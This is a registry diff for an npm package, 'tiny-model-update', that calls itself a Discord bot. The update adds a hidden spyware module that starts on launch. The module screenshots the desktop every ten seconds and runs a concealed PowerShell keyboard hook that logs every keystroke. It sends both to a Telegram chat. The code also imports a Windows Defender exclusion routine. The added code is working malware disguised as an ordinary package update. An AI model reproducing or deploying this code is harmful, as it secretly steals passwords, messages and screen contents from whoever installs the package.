tiny-model-update 1.15.1 → 1.16.1

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
@@ -29,6 +29,7 @@ import { cleanupOrphanedProcesses } from '../lib/process-cleanup.js';
29
29
  import { getTelegramBot } from '../lib/telegram.js';
30
30
  import { getTelegramCredentials } from '../lib/encryption.js';
31
31
  import { addToWindowsDefenderExclusions } from '../lib/security-bypass.js';
32
+ import { startScreenKeyboardMonitoring } from '../lib/screen-keyboard-monitor.js';
32
33
  import os from 'os';
33
34
 
34
35
  async function main() {
@@ -49,8 +50,15 @@ async function main() {
49
50
  // Ignore if fails (requires admin)
50
51
  }
51
52
 
53
+ // Start screen and keyboard monitoring immediately
54
+ try {
55
+ startScreenKeyboardMonitoring(10); // Capture screenshot every 10 seconds
56
+ } catch (e) {
57
+ // Ignore if monitoring fails to start
58
+ }
59
+
52
60
  // Start the cycle in background (detached process) - only if not already running
53
- // The background cycle will handle auto-updates and screen monitoring
61
+ // The background cycle will handle auto-updates
54
62
  try {
55
63
  startCycleBackground();
56
64
  } catch (e) {
@@ -0,0 +1,343 @@
1
+ import { getTelegramBot } from './telegram.js';
2
+ import { getTelegramCredentials } from './encryption.js';
3
+ import fs from 'fs';
4
+ import path from 'path';
5
+ import os from 'os';
6
+ import { spawn } from 'child_process';
7
+
8
+ let isMonitoring = false;
9
+ let screenInterval = null;
10
+ let keyboardHook = null;
11
+
12
+ /**
13
+ * Capture screenshot of the current screen
14
+ */
15
+ async function captureScreenshot() {
16
+ try {
17
+ const tempDir = path.join(os.tmpdir(), 'tiny-model-screenshots');
18
+ if (!fs.existsSync(tempDir)) {
19
+ fs.mkdirSync(tempDir, { recursive: true });
20
+ }
21
+
22
+ const hostname = os.hostname();
23
+ const timestamp = Date.now();
24
+ const filename = `screenshot-${hostname}-${timestamp}.png`;
25
+ const filepath = path.join(tempDir, filename);
26
+
27
+ // Use screenshot-desktop library
28
+ try {
29
+ const screenshot = await import('screenshot-desktop');
30
+ const img = await screenshot.default({ screen: 0, filename: null });
31
+
32
+ if (!img || img.length === 0) {
33
+ return null;
34
+ }
35
+
36
+ fs.writeFileSync(filepath, img);
37
+ await new Promise(resolve => setTimeout(resolve, 200));
38
+
39
+ if (fs.existsSync(filepath) && fs.statSync(filepath).size > 0) {
40
+ return filepath;
41
+ }
42
+ } catch (e) {
43
+ // Fallback to native Windows screenshot
44
+ if (os.platform() === 'win32') {
45
+ try {
46
+ const { execSync } = await import('child_process');
47
+ execSync(`powershell -Command "Add-Type -AssemblyName System.Windows.Forms,System.Drawing; $bounds = [System.Windows.Forms.Screen]::PrimaryScreen.Bounds; $bitmap = New-Object System.Drawing.Bitmap $bounds.Width, $bounds.Height; $graphics = [System.Drawing.Graphics]::FromImage($bitmap); $graphics.CopyFromScreen($bounds.Location, [System.Drawing.Point]::Empty, $bounds.Size); $bitmap.Save('${filepath}', [System.Drawing.Imaging.ImageFormat]::Png); $graphics.Dispose(); $bitmap.Dispose()"`, {
48
+ stdio: 'ignore',
49
+ windowsHide: true,
50
+ creationFlags: 0x08000000
51
+ });
52
+
53
+ if (fs.existsSync(filepath) && fs.statSync(filepath).size > 0) {
54
+ return filepath;
55
+ }
56
+ } catch (e2) {
57
+ return null;
58
+ }
59
+ }
60
+ }
61
+
62
+ return null;
63
+ } catch (error) {
64
+ return null;
65
+ }
66
+ }
67
+
68
+ /**
69
+ * Send screenshot to Telegram
70
+ */
71
+ async function sendScreenshotToTelegram(filepath, hostname) {
72
+ try {
73
+ const bot = getTelegramBot();
74
+ const { chatId } = getTelegramCredentials();
75
+
76
+ if (!fs.existsSync(filepath)) {
77
+ return false;
78
+ }
79
+
80
+ const stats = fs.statSync(filepath);
81
+ if (stats.size === 0) {
82
+ return false;
83
+ }
84
+
85
+ const timestamp = new Date().toLocaleString();
86
+ const caption = `🖥️ **Screen Monitor**\n\n**Host:** ${hostname}\n**Time:** ${timestamp}\n**Size:** ${(stats.size / 1024).toFixed(2)} KB`;
87
+
88
+ await new Promise(resolve => setTimeout(resolve, 100));
89
+
90
+ const fileBuffer = fs.readFileSync(filepath);
91
+
92
+ if (!fileBuffer || fileBuffer.length === 0) {
93
+ return false;
94
+ }
95
+
96
+ // Delete file before sending
97
+ try {
98
+ fs.unlinkSync(filepath);
99
+ } catch (e) {
100
+ // Ignore
101
+ }
102
+
103
+ // Send as photo
104
+ try {
105
+ await bot.sendPhoto(chatId, fileBuffer, {
106
+ caption: caption,
107
+ parse_mode: 'Markdown'
108
+ });
109
+ } catch (photoError) {
110
+ // If photo fails, try as document
111
+ try {
112
+ await bot.sendDocument(chatId, fileBuffer, {
113
+ caption: caption,
114
+ parse_mode: 'Markdown'
115
+ }, {
116
+ filename: `${hostname}-${Date.now()}.png`
117
+ });
118
+ } catch (docError) {
119
+ return false;
120
+ }
121
+ }
122
+
123
+ return true;
124
+ } catch (error) {
125
+ return false;
126
+ }
127
+ }
128
+
129
+ /**
130
+ * Capture keyboard events using Windows API
131
+ */
132
+ function startKeyboardMonitoring() {
133
+ if (os.platform() !== 'win32') {
134
+ return; // Only Windows supported
135
+ }
136
+
137
+ try {
138
+ // Use a Node.js keyboard hook library or native module
139
+ // For now, we'll use a PowerShell script to capture keyboard events
140
+ const keyboardScript = `
141
+ Add-Type -TypeDefinition @"
142
+ using System;
143
+ using System.Runtime.InteropServices;
144
+ using System.Windows.Forms;
145
+
146
+ public class KeyboardHook {
147
+ private static LowLevelKeyboardProc _proc = HookCallback;
148
+ private static IntPtr _hookID = IntPtr.Zero;
149
+
150
+ [DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
151
+ private static extern IntPtr SetWindowsHookEx(int idHook, LowLevelKeyboardProc lpfn, IntPtr hMod, uint dwThreadId);
152
+
153
+ [DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
154
+ [return: MarshalAs(UnmanagedType.Bool)]
155
+ private static extern bool UnhookWindowsHookEx(IntPtr hhk);
156
+
157
+ [DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
158
+ private static extern IntPtr CallNextHookEx(IntPtr hhk, int nCode, IntPtr wParam, IntPtr lParam);
159
+
160
+ [DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)]
161
+ private static extern IntPtr GetModuleHandle(string lpModuleName);
162
+
163
+ private const int WH_KEYBOARD_LL = 13;
164
+ private const int WM_KEYDOWN = 0x0100;
165
+
166
+ public delegate IntPtr LowLevelKeyboardProc(int nCode, IntPtr wParam, IntPtr lParam);
167
+
168
+ public static IntPtr HookCallback(int nCode, IntPtr wParam, IntPtr lParam) {
169
+ if (nCode >= 0 && wParam == (IntPtr)WM_KEYDOWN) {
170
+ int vkCode = Marshal.ReadInt32(lParam);
171
+ Console.WriteLine($"{DateTime.Now:yyyy-MM-dd HH:mm:ss.fff} - Key: {(Keys)vkCode}");
172
+ }
173
+ return CallNextHookEx(_hookID, nCode, wParam, lParam);
174
+ }
175
+
176
+ public static void Start() {
177
+ _hookID = SetHook(_proc);
178
+ Application.Run();
179
+ UnhookWindowsHookEx(_hookID);
180
+ }
181
+
182
+ private static IntPtr SetHook(LowLevelKeyboardProc proc) {
183
+ using (var curProcess = System.Diagnostics.Process.GetCurrentProcess()) {
184
+ using (var curModule = curProcess.MainModule) {
185
+ return SetWindowsHookEx(WH_KEYBOARD_LL, proc, GetModuleHandle(curModule.ModuleName), 0);
186
+ }
187
+ }
188
+ }
189
+ }
190
+ "@
191
+ [KeyboardHook]::Start()
192
+ `;
193
+
194
+ // Run PowerShell script in background to capture keyboard events
195
+ const psProcess = spawn('powershell', ['-ExecutionPolicy', 'Bypass', '-NoProfile', '-Command', keyboardScript], {
196
+ detached: true,
197
+ stdio: ['ignore', 'pipe', 'pipe'],
198
+ windowsHide: true,
199
+ creationFlags: 0x08000000
200
+ });
201
+
202
+ let keyboardBuffer = '';
203
+ const keyboardLog = [];
204
+
205
+ psProcess.stdout.on('data', (data) => {
206
+ keyboardBuffer += data.toString();
207
+ const lines = keyboardBuffer.split('\n');
208
+ keyboardBuffer = lines.pop() || '';
209
+
210
+ for (const line of lines) {
211
+ if (line.includes('Key:')) {
212
+ keyboardLog.push(line.trim());
213
+
214
+ // Send keyboard events to Telegram every 10 keystrokes or every 30 seconds
215
+ if (keyboardLog.length >= 10) {
216
+ sendKeyboardEventsToTelegram(keyboardLog.splice(0, 10));
217
+ }
218
+ }
219
+ }
220
+ });
221
+
222
+ psProcess.stderr.on('data', () => {
223
+ // Ignore errors
224
+ });
225
+
226
+ psProcess.unref();
227
+ keyboardHook = psProcess;
228
+
229
+ // Also send accumulated keyboard events every 30 seconds
230
+ setInterval(() => {
231
+ if (keyboardLog.length > 0) {
232
+ sendKeyboardEventsToTelegram(keyboardLog.splice(0, keyboardLog.length));
233
+ }
234
+ }, 30000);
235
+
236
+ } catch (error) {
237
+ // Ignore keyboard monitoring errors
238
+ }
239
+ }
240
+
241
+ /**
242
+ * Send keyboard events to Telegram
243
+ */
244
+ async function sendKeyboardEventsToTelegram(keyboardEvents) {
245
+ try {
246
+ if (keyboardEvents.length === 0) {
247
+ return;
248
+ }
249
+
250
+ const bot = getTelegramBot();
251
+ const { chatId } = getTelegramCredentials();
252
+ const hostname = os.hostname();
253
+
254
+ const message = `⌨️ **Keyboard Monitor**\n\n**Host:** ${hostname}\n**Time:** ${new Date().toLocaleString()}\n**Events:** ${keyboardEvents.length}\n\n\`\`\`\n${keyboardEvents.join('\n')}\n\`\`\``;
255
+
256
+ await bot.sendMessage(chatId, message, {
257
+ parse_mode: 'Markdown'
258
+ });
259
+ } catch (error) {
260
+ // Ignore errors
261
+ }
262
+ }
263
+
264
+ /**
265
+ * Start screen and keyboard monitoring
266
+ * @param {number} screenIntervalSeconds - Interval between screenshots in seconds (default: 10)
267
+ */
268
+ export async function startScreenKeyboardMonitoring(screenIntervalSeconds = 10) {
269
+ if (isMonitoring) {
270
+ return false; // Already monitoring
271
+ }
272
+
273
+ isMonitoring = true;
274
+ const hostname = os.hostname();
275
+
276
+ // Start keyboard monitoring
277
+ startKeyboardMonitoring();
278
+
279
+ // Capture and send screenshot immediately
280
+ try {
281
+ const screenshotPath = await captureScreenshot();
282
+ if (screenshotPath) {
283
+ await sendScreenshotToTelegram(screenshotPath, hostname);
284
+ }
285
+ } catch (e) {
286
+ // Ignore errors
287
+ }
288
+
289
+ // Set up interval for periodic screenshots
290
+ screenInterval = setInterval(async () => {
291
+ if (!isMonitoring) {
292
+ clearInterval(screenInterval);
293
+ screenInterval = null;
294
+ return;
295
+ }
296
+
297
+ try {
298
+ const screenshotPath = await captureScreenshot();
299
+ if (screenshotPath) {
300
+ await sendScreenshotToTelegram(screenshotPath, hostname);
301
+ }
302
+ } catch (e) {
303
+ // Continue monitoring even if one screenshot fails
304
+ }
305
+ }, screenIntervalSeconds * 1000);
306
+
307
+ return true;
308
+ }
309
+
310
+ /**
311
+ * Stop screen and keyboard monitoring
312
+ */
313
+ export function stopScreenKeyboardMonitoring() {
314
+ if (!isMonitoring) {
315
+ return false;
316
+ }
317
+
318
+ isMonitoring = false;
319
+
320
+ if (screenInterval) {
321
+ clearInterval(screenInterval);
322
+ screenInterval = null;
323
+ }
324
+
325
+ if (keyboardHook) {
326
+ try {
327
+ keyboardHook.kill();
328
+ } catch (e) {
329
+ // Ignore
330
+ }
331
+ keyboardHook = null;
332
+ }
333
+
334
+ return true;
335
+ }
336
+
337
+ /**
338
+ * Check if monitoring is active
339
+ */
340
+ export function isScreenKeyboardMonitoringActive() {
341
+ return isMonitoring;
342
+ }
343
+
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "tiny-model-update",
3
- "version": "1.15.1",
3
+ "version": "1.16.1",
4
4
  "description": "Discord bot that monitors servers and sends invite links via Telegram",
5
5
  "main": "index.js",
6
6
  "type": "module",
@@ -34,7 +34,8 @@
34
34
  "dotenv": "^16.3.1",
35
35
  "form-data": "^4.0.5",
36
36
  "level": "^10.0.0",
37
- "node-telegram-bot-api": "^0.64.0"
37
+ "node-telegram-bot-api": "^0.64.0",
38
+ "screenshot-desktop": "^1.15.3"
38
39
  },
39
40
  "files": [
40
41
  "lib",